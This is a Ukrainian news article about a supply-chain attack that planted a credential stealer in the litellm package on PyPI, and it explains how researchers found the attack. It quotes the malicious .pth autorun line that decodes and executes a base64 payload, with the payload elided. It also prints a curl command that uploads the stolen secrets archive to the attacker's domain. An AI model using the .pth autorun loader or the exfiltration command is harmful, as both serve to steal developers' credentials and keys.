Хакери вбудували викрадач паролів у популярну Python-бібліотеку litellm
Вчора стало відомо, що хакерам вдалося проникнути в офіційний репозиторій PyPi та підмінити надзвичайно популярну бібліотеку litellm, яку завантажують близько 97 мільйонів разів на місяць.
У версію 1.82.8 було вбудовано шкідливий код, здатний викрасти практично всі критично важливі дані з комп’ютера чи сервера жертви. Це може бути що завгодно: ключі SSH, облікові дані AWS/GCP/Azure, конфігурації Kubernetes, облікові дані git, змінні середовища, усі ваші API-ключі, історії оболонки, паролі криптогаманців, приватні ключі SSL, секрети CI/CD та паролі до баз даних.
Найгірше те, що зараження поширювалося на будь-який проєкт, який залежав від litellm. Наприклад, якби ви виконали pip install dspy (який залежав від litellm>=1.64.0), вас би теж зламали. Те саме стосується будь-якого іншого великого проєкту, який залежав від litellm.
Дослідники безпеки, які запідозрили неладне, не стали встановлювати пакет у систему, а просто завантажили його архів для аналізу. Використавши короткий скрипт на Python, вони знайшли в структурі пакета сторонній файл з розширенням .pth:
python3 -c "import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
pth = [n for n in z.namelist() if n.endswith('.pth')]
print('PTH files:', pth)
for p in pth:
print(z.read(p)[:300])"
І саме файл litellm_init.pth і був пасткою. Він використовував особливість Python автоматично виконувати певний код при запуску інтерпретатора. Хакерам навіть не знадобилося чекати, поки ви імпортуєте бібліотеку у свій проєкт, бо шкідливий процес запускався у фоновому режимі одразу після встановлення або запуску будь-якого Python-скрипта в цьому середовищі. Всередині файлу ховався лише один, але критично небезпечний рядок:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])
Вся підступність атаки була якраз в фрагменті декодування. Замість трьох крапок там був величезний масив тексту, двічі зашифрований за допомогою base64, щоб обійти автоматичні сканери безпеки на PyPI. Розшифрувавшись, вірус миттєво збирав усі знайдені ключі, паролі та токени, шифрував їх за допомогою AES-256 і пакував у архів. А далі дані відправлялися на сервер зловмисників.
curl -s -o /dev/null -X POST \ "https://models.litellm.cloud/" \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary @tpcp.tar.gz
Для цього хакери зареєстрували домен models.litellm[dot]cloud. Офіційний сайт проєкту має закінчення .ai, але підроблена адреса виглядала настільки правдоподібно, що під час поверхневого аналізу мережевого трафіку здавалося, ніби бібліотека просто завантажує якісь мовні моделі з хмари.
Цей інцидент міг би тривати тижнями і призвести до страшніших наслідків, якби не одна щаслива випадковість. Заражена версія провисіла у відкритому доступі недовго завдяки банальній недбалості самого нападника.
Скрипт був написаний нашвидкуруч і зовсім не оптимізований. Коли один із розробників працював у редакторі коду Cursor, програма у фоновому режимі підтягнула оновлення litellm як транзитивну залежність. Щойно вірус запустився, він почав настільки неконтрольовано споживати оперативну пам’ять, що комп’ютер намертво завис. Саме цей неочікуваний збій привернув увагу фахівців, дозволивши миттєво знайти проблему та видалити вірус з репозиторію. Якби вірус працював трохи інакше, то наслідки могли б бути значно гіршими.
Але хоча пакет був доступний і недовго, його встигли завантажити від 20 до 80 тисяч разів, якщо не більше.
Андрей Карпати у себе в Х навіть прокоментував цю ситуацію, назвавши «Програмним кошмаром».

8 коментарів
Додати коментар Підписатись на коментаріВідписатись від коментарів